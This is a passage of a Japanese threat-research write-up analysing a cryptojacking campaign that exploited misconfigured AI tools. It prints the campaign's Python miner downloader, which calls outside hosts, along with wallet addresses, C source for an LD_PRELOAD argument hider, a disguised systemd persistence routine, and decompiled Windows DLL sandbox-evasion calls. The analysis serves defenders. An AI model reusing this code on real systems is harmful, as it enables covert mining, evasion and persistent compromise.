攻撃者が設定不備のAIツールを悪用し、AI生成ペイロードを実行

クリプトジャッキング

次にスクリプトは、ネットワークベースの検知を回避するためにgh-proxyを使用して、T-RexとXMRigの2つの暗号資産マイナーをダウンロードします。これら攻撃者が選ぶ暗号資産はMoneroとKawpowで、それぞれ「pool.supportxmr[.]com:443」および「rvn.2miners[.]com:6060」のマイニングプールを使用します。 

def download_miner():

    [...]
if sys.platform == "linux":

            endpoint = "https://gh-proxy.com/https://github.com/trexminer/T-Rex/releases/download/0.26.8/t-rex-0.26.8-linux.tar.gz"
            endpoint2 = "https://gh-proxy.com/https://github.com/xmrig/xmrig/releases/download/v6.22.2/xmrig-6.22.2-linux-static-x64.tar.gz"
            data = request.urlopen(endpoint).read()
with open(miner_tmp, "wb") as f:

                f.write(data)
with tarfile.open(miner_tmp, "r:gz") as f:

                f.extractall(extract_tmp)
            os.rename(os.path.join(extract_tmp, "t-rex"), executable_path)

            data2 = request.urlopen(endpoint2).read()
with open(miner_tmp, "wb") as f:

                f.write(data2)
with tarfile.open(miner_tmp, "r:gz") as f:

                f.extractall(extract_tmp)
            os.rename(os.path.join(extract_tmp, "xmrig-6.22.2", "xmrig"), xmrig_path)

最終的に、Linuxにおけるこのコードの主目的は暗号資産マイニングであり、Sysdig TRTが過去に遭遇した他のキャンペーンと同様です。以下に主要コードを示します。

main_address = "RHXQyAmYhj9sp69UX1bJvP1mDWQTCmt1id"
xmr_address = "45YMpxLUTrFQXiqgCTpbFB5mYkkLBiFwaY4SkV55QeH2VS15GHzfKdaTynf2StMkq2HnrLqhuVP6tbhFCr83SwbWExxNciB"
miner_thread = Thread(target=start_miner, args=(prochider_res, argvhider_res, worker_id))
        miner_thread.start()
while True:

            kill_miners()
            time.sleep(3)

kawpow_thread = Thread(target=kawpow)
monero_thread = Thread(target=monero)

私たちが特定した最初のウォレットには、合計で約700ドルが入っていました。

2つ目のウォレットはMoneroのXMRウォレットで、残高は不明です。

防御回避

このPythonスクリプトには、実行時にコンパイルしようとする2つのインラインCプログラムがソースコードとして含まれていました。どちらも共有オブジェクトとしてコンパイルされ、LD_PRELOADで読み込まれます。 

Processhider: このライブラリは暗号資産マイナーのプロセスを隠すことでよく知られています。ハードコードされたプロセス名systemdを持ち、システムコールreaddirおよびreaddir64の結果からそれをフィルタリングします。これにより、lsやpsなど多くのシステムユーティリティからプロセスを隠せます。 

Argvhider: この共有オブジェクトはかなりユニークです。システムコールをフックするのではなく、glibcを用いてmain関数をフックします。その後、スタックを改変して前プロセスの引数を取り除き、マイニングプールやウォレットなどの引数を隠します。

注: Sysdig Secureのお客様は、processhiderとargvhiderの両方に対するYaraベースの検知を利用できます。

以下はargvhiderのソースコードです。tem.cとしてコンパイルされpython3.soになり、暗号資産マイナー実行時にLD_PRELOAD引数として追加されます。手順を追って分析すると次のとおりです。

• argv[1]から始まる各引数について（通常プログラム名であるargv[0]はスキップ）:
  • mallocとstrcpyで引数を複製します。
  • 次にmemsetで元のargv[i] メモリをゼロで上書きします。
  • 最後にargv[i]を新しいメモリを指すよう更新します。

元の引数はメモリから消去され、/proc/[pid]/cmdline経由の観測者からは見えなくなります。一方で、プログラムは新しいメモリ上の値に引き続きアクセスできます。この手法は、防御回避の追加手段となります。 

#define _GNU_SOURCE

#include <stdio.h>
#include <dlfcn.h>
voidhide_arguments(int argc, char **argv)
{
for (int i = 1; i < argc; i++)

    {
        char *malloced_argument = malloc((strlen(argv[i]) + 1) * sizeof(char));

        strcpy(malloced_argument, argv[i]);
        memset(argv[i], 0, strlen(argv[i]) * sizeof(char));

        argv[i] = malloced_argument;
    }
}
int main_hook(int argc, char **argv, char **envp)
{
    hide_arguments(argc, argv);
    int ret = original_main(argc, argv, envp);
    free_arguments(argc, argv);
return ret;

}
int __libc_start_main(    int (*main)(int, char **, char **),
    int argc,
    char **argv,
    int (*init)(int, char **, char **),
void (*fini)(void),
void (*rtld_fini)(void),
void *stack_end)
{
    original_main = main;
typeof(&__libc_start_main) original_libc_start_main = dlsym(RTLD_NEXT, "__libc_start_main");

return original_libc_start_main(main_hook, argc, argv, init, fini, rtld_fini, stack_end);

}

永続化

スクリプトは永続化のためにsystemdサービスを使用します。「ptorch_updater」という名前は、正規のサービスになりすます意図で使われています。 

def create_service():

    filepath = os.path.join("/etc/systemd/system", f"{service_name}.service")

    content = f"""[Unit]
Description=System Daemon
After=network.target
[Service]
User=root
WorkingDirectory={dest_dir}
ExecStart=python3 {destination_path}
Restart=always
[Install]
WantedBy=multi-user.target
"""
try:

with open(filepath, 'w') as f:

            f.write(content)
        os.chmod(filepath, stat.S_IRUSR | stat.S_IWUSR | stat.S_IRGRP | stat.S_IROTH)
        subprocess.getoutput("systemctl daemon-reload")

        subprocess.getoutput(f"systemctl start {service_name}")

        subprocess.getoutput(f"systemctl enable {service_name}")

    except Exception as e:

return None

INT_J.DAT

ハッシュ: 833b989db37dc56b3d7aa24f3ee9e00216f6822818925558c64f074741c1bfd8

VirusTotal検知: 1/68

元のファイル名: LICENSE.ref

このJARに含まれるもの: 

• 別のDLL（app_bound_decryptor.dll）
• 複数のインフォスティーラー
• PowershellとWebSocketsを使用し、ハードウェアおよびシステムの探索を行う悪意あるJava

App_bound_decryptor.dll

ハッシュ: 41774276e569321880aed02b5a322704b14f638b0d0e3a9ed1a5791a1de905db

VirusTotal検知: 2/72

このファイルは64ビットWindows DLLで、以下を行います。

• XORによるエンコード/デコード
• 名前付きパイプの作成、読み取り、書き込み
• サスペンド状態のスレッド作成
• サンドボックス検知

IsProcessorFeaturePresent の呼び出しは、より新しいサンドボックス検知手法です。渡される値 0x17はPF_FASTFAIL_AVAILABLEで、仮想化環境では利用できないことが多いです。 

hNamedPipe = CreateNamedPipeA(lpName,3,6,1,5000,5000,0,(LPSECURITY_ATTRIBUTES)0x0);

...
  plVar5 = FUN_180002e70(local_13c8,local_13a8);
...
  ConnectNamedPipe(hNamedPipe, NULL);
...
  ReadFile(hNamedPipe, local_13a8, 5000, ...);

...
  BVar2 = IsProcessorFeaturePresent(0x17)

...
  BVar2 = IsDebuggerPresent();